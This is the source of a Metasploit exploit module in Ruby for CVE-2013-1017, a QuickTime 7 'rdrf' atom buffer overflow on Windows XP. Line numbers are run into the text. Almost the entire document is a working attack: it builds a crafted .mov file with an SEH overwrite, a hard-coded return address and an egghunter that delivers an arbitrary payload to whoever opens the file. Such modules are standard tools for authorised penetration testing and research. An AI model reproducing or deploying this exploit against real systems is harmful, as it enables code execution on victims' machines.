Path: blob/master/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",16'Description' => %q{17This module exploits a vulnerability found in Apple QuickTime. The flaw is18triggered when QuickTime fails to properly handle the data length for certain19atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer20overflow by loading a specially crafted .mov file, and allows arbitrary21code execution under the context of the current user. Please note: Since an egghunter22is used to search for the payload, this may require additional time for23the exploit to complete.24},25'License' => MSF_LICENSE,26'Author' => [27'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor28'Tom Gallagher', # Original Discovery (overlapped)29'Paul Bates', # Original Discovery (overlapped)30'sinn3r' # Metasploit31],32'References' => [33[ 'CVE', '2013-1017' ],34[ 'OSVDB', '93625' ],35[ 'BID', '60097' ],36[ 'URL', 'http://support.apple.com/kb/HT5770' ],37[ 'ZDI', '13-110' ]38],39'Platform' => 'win',40'Targets' => [41# Ret = P/P/R in Quicktime.qtx42# Tested on:43# Quicktime 7.7.044# Quicktime 7.7.145# Quicktime 7.7.246# Quicktime 7.7.347[ 'Quicktime 7.7.0 - 7.7.3 on Windows XP SP3', { 'Ret' => 0x66801042 } ]48],49'Payload' => {50'BadChars' => "\x00"51},52'Privileged' => false,53'DisclosureDate' => '2013-05-22',54'DefaultTarget' => 0,55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_options(64[65OptString.new('FILENAME', [ true, 'The file name.', 'msf.mov']),66]67)68end6970def sort_bytes(data)71buf = ''720.step(data.length, 2) do |i|73buf << data[i, 2].reverse74end7576buf77end7879def exploit80fsize = 08182badchars = payload_badchars83hunter, egg = generate_egghunter(payload.encoded, badchars, { :checksum => true })8485buf = ''86buf << "\x61" * 5 # Make sure our NOPs don't cause AV87buf << sort_bytes(make_nops(4)) # Pad 9 bytes to ensure alignment88buf << sort_bytes(hunter) # egg huntin'89buf << rand_text_alpha(607 - buf.length) # Offset 607 to nSEH90buf << sort_bytes("\xeb\x06#{rand_text_alpha(2)}") # nSEH91buf << sort_bytes([target.ret].pack("V*")) # SE Handler92buf << sort_bytes("\xe9\x95\xfd\xff\xff\xff") # Jmp to egghunter93buf << rand_text_alpha(50) # After SEH, only ~33 bytes94buf << egg # Should be found somewhere else9596# Quicktime File Format Specifications:97# https://developer.apple.com/standards/qtff-2001.pdf98mov = "\x00\x00\x06\xDF" # File size99mov << "moov" # Movie atom100mov << "\x00\x00\x06\xD7" # size (1751d)101mov << "rmra" # Reference Movie atom102mov << "\x00\x00\x06\xCF" # size (1743d)103mov << "rmda" # rmda atom104mov << "\x00\x00\x06\xBF" # size (1727d)105mov << "rdrf" # Data reference atom106mov << "\x00\x00\x00\x00" # size set to 0107mov << "alis" # Data reference type: FS alias record108mov << "\x00\x00\x06\xAA" # Size (1706d)109mov << rand_text_alpha(8)110mov << "\x00\x00\x06\x61" # Size (1633d)111mov << rand_text_alpha(38)112mov << "\x12"113mov << rand_text_alpha(81)114mov << "\xFF\xFF"115mov << rand_text_alpha(18)116mov << "\x00\x08" # Size (8d)117mov << rand_text_alpha(8)118mov << "\x00\x00"119mov << "\x00\x08" # Size (8d)120mov << rand_text_alpha(8)121mov << "\x00\x00"122mov << "\x00\x26" # Size (38d)123mov << rand_text_alpha(38)124mov << "\x00\x0F\x00\x0E"125mov << "AA" # Size (must be invalid)126mov << rand_text_alpha(12)127mov << "\x00\x12\x00\x21"128mov << rand_text_alpha(36)129mov << "\x00"130mov << "\x0F\x33"131mov << rand_text_alpha(17)132mov << "\x02\xF4" # Size (756h)133mov << rand_text_alpha(756)134mov << "\xFF\xFF\x00\x00\x00"135fsize += mov.length136mov << buf137fsize += buf.length138139mov[0, 4] = [fsize].pack("N")140141print_status("Creating #{datastore['FILENAME']}")142file_create(mov)143end144end145146147